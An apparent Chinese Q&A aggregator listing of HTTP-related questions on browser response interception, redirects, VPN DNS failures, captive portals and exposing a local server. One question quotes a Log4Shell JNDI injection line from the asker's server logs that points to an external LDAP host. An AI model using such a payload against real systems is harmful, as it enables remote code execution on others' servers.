http

我如何拦截(而不仅仅是监控) HTTP 请求/响应,以便在发送/接收之前编辑其内容?
http

我如何拦截(而不仅仅是监控) HTTP 请求/响应,以便在发送/接收之前编辑其内容?

我正在尝试拦截 Web 浏览器发送的请求的 HTTP 响应,以便在浏览器收到响应之前对其进行编辑。更具体地说,我想通过将 JS 文件替换为本地文件来修改它。Chromium 浏览器具有本地覆盖,但这些覆盖仅在 DevTools 打开时才有效,并且在尝试编辑非常大的 JS 文件时似乎还存在内存泄漏问题(这种情况发生在 Chrome、Brave、Edge 甚至 Canary 中)。 我希望能够输入 URL 或 URL 模式。当请求的 URL 与模式匹配时,我希望能够通过将响应替换为本地文件来拦截响应。 请注意,这与简单地监控传入/传出流量不同。我不想监控。我想拦...

Admin

当我运行 powershell 命令检查网站状态时无法访问以 HTTP 开头的内部网站
http

当我运行 powershell 命令检查网站状态时无法访问以 HTTP 开头的内部网站

我收到“无法运行/搜索”的状态http://example.com/但对于那些以 HTTPS:// 开头的网站,没有问题,我得到的状态是 200,表示正常。我需要在脚本中添加什么,以便它也可以测试那些以 http:// 开头的网站? 下面的 powershell 脚本我试过了,对于以 HTTPS:// 开头的网站运行良好 $Uris = 'https://www.google.com/', 'https://www.yahoo.com','http://example.com/' $PathTxt = "C:\temp\Uri.txt" $PathCsv ...

Admin

HTTP 基本身份验证中的领域值是如何设置的?
http

HTTP 基本身份验证中的领域值是如何设置的?

我的网络中有一个 D-Link (DCS-932L) 网络摄像头。我使用 binwalk 解压了固件,并尝试找到填充领域值的配置/文件,但我找不到似乎可以从中提取该数据的任何地方。 生成的 curl 命令显示领域信息如下: HTTP/1.0 401 Authorization Required Server: alphapd Date: Wed Feb 01 05:11:53 2019 Pragma: no-cache Cache-Control: no-cache Content-type: text/html Content-length: 103 WW...

Admin

当我连接到 vpn 时,Curl 等 HTTP 请求不起作用
http

当我连接到 vpn 时,Curl 等 HTTP 请求不起作用

请告诉我如何解决下一个问题:当我连接到 VPN 时,Curl 等 HTTP 请求不起作用。我收到一个简单的错误 - “无法解析主机”。但是当我断开与 VPN 的连接时,一切都正常 我在 Hetzner 和 Surfshark VPN 上使用 Ubuntu 20.04。 ...

Admin

Windows Server 上的微服务 HTTP 端口连接失败
http

Windows Server 上的微服务 HTTP 端口连接失败

我们用 Go 和 Delphi 编写了几个 Windows 微服务,它们响应 11000-12000 范围内特定端口上的 HTTP 请求。它们旨在在客户端的域或私有网络内部运行(即不在互联网上)。 它们在所有上运行完美但一个我们 50 多个客户端系统,操作系统范围从 Windows 7/10/11 到 Windows Server 2008R2/2012/2016/2019。这些服务的安装过程都会在 Windows 防火墙中设置规则,以接受对每个服务 exe 的请求。 它们无法工作的一个客户端系统运行的是 Windows Server 2016 Essent...

Admin

由于 Chrome 强制使用 https,因此无法访问我的路由器网页
http

由于 Chrome 强制使用 https,因此无法访问我的路由器网页

我无法访问我的路由器网页http://192.168.1.1因为它被重定向到https://192.168.1.1(给我ERR_SSL_VERSION_OR_CIPHER_MISMATCH)。我知道谷歌因为某些原因切换到了https,但我根本无法打开路由器。 失败的解决方案: 尝试在笔记本电脑上使用 Chrome 和 Edge,但无法打开网页。 尝试使用手机上的 chrome 打开网页,但无法打开网页 尝试打开chrome://net-internals/#hsts并查询192.168.1.1但它给了我Not Found;看来它不适用于 IP 以及网站。 ...

Admin

为什么只有部分 PDF 可以在浏览器中阅读?
http

为什么只有部分 PDF 可以在浏览器中阅读?

例如,使用 Chromium,可以在浏览器中阅读某些 PDF,PDF 的 URL 保留在地址栏中,例如http://www.africau.edu/images/default/sample.pdf还有一些只能下载,下载完成后才显示在浏览器中,例如https://www.ru.nl/publish/pages/769526/mark_vink.pdffile:///home/user/Downloads/mark_vink.pdf将会下载,下载完成后会显示地址。 这是为什么? 我之所以问这个问题,是因为它似乎破坏了 Zotero Connector 扩展的工...

Admin

为什么我们的无线访客网络没有将用户重定向到 webauth 登录页面?
http

为什么我们的无线访客网络没有将用户重定向到 webauth 登录页面?

我正在尝试找出我认为是 webauth 错误的原因。在我们组织的无线网络中,我们有一个使用 webauth 的访客 SSID。当您访问网络时,您应该被定向到“可接受使用”TOS 页面。当您按下“接受按钮”时,您就可以访问访客网络。 我注意到的问题是,很多用户打开浏览器时不会自动重定向到登录页面。他们只会收到“无法访问站点”消息。在解决手机问题时,我发现当我第一次在手机上打开 Chrome 浏览器时,默认页面是 T-Mobile 主页,我的浏览器尝试访问该页面,但我没有重定向到 webauth 页面,而是收到了“无法访问站点”消息(见图 1)。当我在 Chro...

Admin

潜在解决方案
http

潜在解决方案

当我启动浏览器(例如 Chrome)并在地址栏中输入某些内容(不是 URL,而是单词)时,它会将我重定向到 Google 搜索该单词。在这些情况下,没有通常的锁表示连接是安全的,而是表示连接不安全。如果我重新加载页面,锁就会出现,页面显示为安全。这并不总是在我启动浏览器时发生,但大多数时候都会发生。 这种行为的原因是什么? 我使用 Windows 10 版本 21H1 和 Google Chrome 浏览器。此外,只要系统要求我更新系统,我就会更新。 我刚刚安装了 Windows 10 版本 21H2 的更新,此后这种行为没有再出现,但由于这种行为并不总是发...

Admin

找出导致 Chrome/Firefox(Apache 服务器)网站出现 302 重定向的原因
http

找出导致 Chrome/Firefox(Apache 服务器)网站出现 302 重定向的原因

一个网站正在生产环境中运行,并且需要停留在那里,而我则在在线登台环境中移动并使用它。 我移动了所有文件并将我的主机文件指向暂存服务器,如下所示:123.123.123.12 example.org。其中我的暂存服务器的 IP 为:123.123.123.12。 当我访问时http://example.org我得到立即地重定向到https://example.org,这给我带来了很多麻烦,因为该 SSL 证书是使用生产环境制作的。所以它告诉我我的连接不安全。 http://我对此进行了大量尝试。现在我处于重定向循环中,它在和版本之间来回反复https://: ...

Admin

托管一个可从互联网访问的 Python http.server 可以吗?
http

托管一个可从互联网访问的 Python http.server 可以吗?

我正在运行 python3 -m http.server 8080端口转发,以便从任何地方访问我的笔记本电脑上的文件。 但出现了随机连接和一条特别奇怪的线: GET /${jndi:ldap://185.246.87.50:1389/Exploit} 您可以在此处查看更多信息: 我这样做安全吗?如果不安全,有什么方法可以确保安全吗?也许可以设置登录密码? ...

Admin

如何让我的笔记本电脑接收来自互联网的 HTTP 请求
http

如何让我的笔记本电脑接收来自互联网的 HTTP 请求

抱歉,这个问题比较菜鸟,因为我对一些网络概念不太了解。 我在笔记本电脑 (Linux Mint Ulyana) 上运行 uvicorn 服务器,我可以通过浏览器通过 localhost 访问它。我将主机标记为 0.0.0.0,我认为这对于将服务公开到互联网是必要的,但当我向我的同事 (他处于不同的时区) 提供我的 IP 地址时,他仍然无法发送请求。 当我从装有 Ubuntu 18.04 的 Azure VM 运行同一项服务时,它会自动暴露给互联网。 我的互联网连接来自常规家庭宽带提供商,该提供商会从每个会话为我分配一个动态 IP 地址。我给出的是IP地址检查...

Admin

Accept-Ranges Header 的工作原理是什么?
http

Accept-Ranges Header 的工作原理是什么?

Accept-Ranges Header 的工作原理是什么? 我们知道Accept-Ranges: bytes这意味着 URL 可以按范围请求。 我对此有几个问题: 当服务器返回URL HTTP响应时,如果该URL是一个大文件,是否会在HTTP响应中返回其部分数据? 当浏览器得到响应Accept-Ranges时,它会自动获取文件的全部数据吗? ...

Admin